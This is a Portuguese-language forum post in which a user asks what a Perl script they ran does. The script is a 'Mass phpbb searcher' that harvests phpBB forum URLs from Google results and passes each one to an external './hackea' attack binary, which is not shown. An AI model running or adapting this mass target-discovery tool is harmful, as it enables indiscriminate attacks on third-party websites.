Ae galera, to tentando usar um exploit, na verdade eu queria saber oq ele faz, e como fazer ele funcionar.. a uaheuaheua, sim, eu usei ele sem saber oq ele faz.
pra qm quiser analisar o exploit vo deixar o código dele
e aki o print
é isso galera, se alguem puder me ajudar, dizendo oq esse exploit faz e oq ele fez no print.
pra qm quiser analisar o exploit vo deixar o código dele
Código HTML:
#!/usr/bin/perl -w use IO::Socket $zz=0; print "\n -.-.-.Mass phpbb searcher.-.-.-\n"; print "~~~~ coded by jocanor ~~~~\n"; print " +++Private, do not distribute+++\n"; print "\n[...] - connecting to google\n"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "www.google.com", PeerPort => "80") || die "[E] Unable to Connect to $host\r\n"; print "\n[OK] - conected to google\n\n"; $laterlo=0; my $requext=$ARGV[0]; $num = "0"; while(1) { $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "www.google.com", PeerPort => "80") || die "[E] Unable to Connect to $host\r\n"; $query="\/search?q=\%22Our+users+have+posted+a+total+of+"; $query.=$requext; $query.="\%22&hl=es&lr=&start="; $query .=$num; $query .="&sa=N"; print $socket "GET $query HTTP/1.1\n"; print $socket "Host: www.google.com\n"; print $socket "Accept: */*\n"; print $socket "Connection: close\n\n"; my $total; while ($answer = <$socket>) { $total .=$answer; } $adelante=$total; if($adelante =~ /Resultados\s<b>\d*<\/b>\s/) { $nextlo=$&; if($nextlo =~ /\d.*/) { $nextlo = $&; if($nextlo =~/<\/b>/) { $nextlo=$`; #print "$nextlo\n"; } } } if ($nextlo == $laterlo) { $requext=$requext+10; #print "$requext\n"; $zz=0; } $laterlo = $nextlo; while($total =~ m#(q=related:.*\")#g) { if($& =~ /q=related:/) { $temp=$'; if($temp =~ /\"/) { $src=$`; next if $src =~ m#modules.php#i; next if $src =~ m#\.html#i; next if $src =~ m#\.htm#i; next if $src =~ m#\.asp#i; next if $src =~ m#\.to#i; next if $src =~ m#\.do#i; next if $src =~ m#\.swf#i; next if $src =~ m#\%#i; if($src=~ m#index.php#) { $src=$`; } $linea = "http://$src"; #print "$linea\n"; system("./hackea $linea 1 1"); } } } #$zz++; #print "Pagina $zz\n"; $num=$num+10; }
é isso galera, se alguem puder me ajudar, dizendo oq esse exploit faz e oq ele fez no print.
Comment